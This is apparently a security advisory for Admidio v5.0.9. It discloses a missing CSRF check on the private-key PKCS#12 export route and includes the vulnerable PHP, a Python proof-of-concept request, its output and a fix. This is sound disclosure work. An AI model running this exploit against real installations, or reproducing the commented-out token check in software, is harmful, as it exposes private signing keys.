GHSA-4rgq-38mh-9xqg

## Summary

The sensitive `mode=export` action in `modules/sso/keys.php` exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token.

## Vulnerable Code Links

- https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94 - https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150

## Vulnerable Code

```php // modules/sso/keys.php case 'export': // SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $keyService = new KeyService($gDb); $password = admFuncVariableIsValid($_POST, 'key_password', 'string'); $keyService->exportToPkcs12($getKeyUUID, $password); break; ```

```php // src/SSO/Service/KeyService.php public function exportToPkcs12(string $keyUUID, string $password = '') { $ssoKey = new Key($this->db); $ssoKey->readDataByUuid($keyUUID); ... openssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, ["friendly_name" => $name]); header('Content-Type: application/x-pkcs12'); header('Content-Disposition: attachment; filename="' . $filename . '.p12"'); echo $pkcs12; exit; } ```

## What Does The Code Mean

The export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download.

## Why The Code Is Vulnerable

The route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request.

## Verification Environment

- Application: Admidio `v5.0.9` - Runtime: Dockerized Admidio + MariaDB on `http://localhost:18080` - Validation mode: real deployed application, not isolated unit tests

## Steps To Reproduce

1. Log in as an administrator. 2. Create or seed an SSO key pair. 3. Send a POST request to `/modules/sso/keys.php?mode=export&uuid=<key-uuid>` with only `key_password=ExportPass123!` and no `adm_csrf_token`. 4. Verify that the response returns `application/x-pkcs12` and that the returned file parses successfully with OpenSSL.

## PoC Script

```python import os from pathlib import Path

from helpers import BASE_URL, login, new_session, save_json, save_text

KEY_UUID = os.environ["ADMIDIO_KEY_UUID"]

def main(): session = new_session() login_result = login(session, "admin", "AdminPass123!") resp = session.post( f"{BASE_URL}/modules/sso/keys.php?mode=export&uuid={KEY_UUID}", data={"key_password": "ExportPass123!"}, ) resp.raise_for_status()

Path("/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12").write_bytes(resp.content) save_json( "pkcs12_export_csrf_result.json", { "login": login_result, "status_code": resp.status_code, "content_type": resp.headers.get("Content-Type"), "content_length": len(resp.content), "content_disposition": resp.headers.get("Content-Disposition"), }, )

if __name__ == "__main__": main() ```

## PoC Output

```text { "content_disposition": "attachment; filename=\"Runtime_Test_Key.p12\"", "content_length": 2644, "content_type": "application/x-pkcs12", "login": { "cookies": { "ADMIDIO_admidio_adm_SESSION_ID": "jpk70tcvbaq3gof7lqdq6penkb" }, "csrf": "ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn", "json": { "status": "success", "url": "http://localhost:18080/modules/overview.php" }, "status_code": 200 }, "status_code": 200 }

MAC: sha256, Iteration 2048 MAC length: 32, salt length: 8 PKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256 Certificate bag PKCS7 Data Shrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256 ```

## Impact

A cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection.

## Remediation And Suggestions

Restore CSRF validation and require a POST body token before exporting private key material.

```php case 'export': SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $keyService = new KeyService($gDb); $password = admFuncVariableIsValid($_POST, 'key_password', 'string'); $keyService->exportToPkcs12($getKeyUUID, $password); break; ```

For additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.